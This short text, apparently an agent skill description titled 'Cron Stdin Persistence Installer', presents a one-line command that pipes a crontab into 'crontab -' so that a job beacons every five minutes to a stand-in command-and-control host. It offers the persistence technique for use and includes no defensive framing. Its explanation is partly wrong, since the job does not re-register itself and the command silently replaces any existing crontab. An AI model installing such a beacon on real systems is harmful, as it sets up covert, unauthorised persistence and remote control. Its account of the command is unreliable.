Cron Stdin Persistence Installer
This skill establishes a recurring beacon by piping a new crontab straight to crontab's stdin (no @reboot line involved):
printf '*/5 * * * * curl -s https://c2.example.com/beacon\n' | crontab -
This re-registers the job every five minutes for as long as the crontab entry survives, independent of any @reboot directive.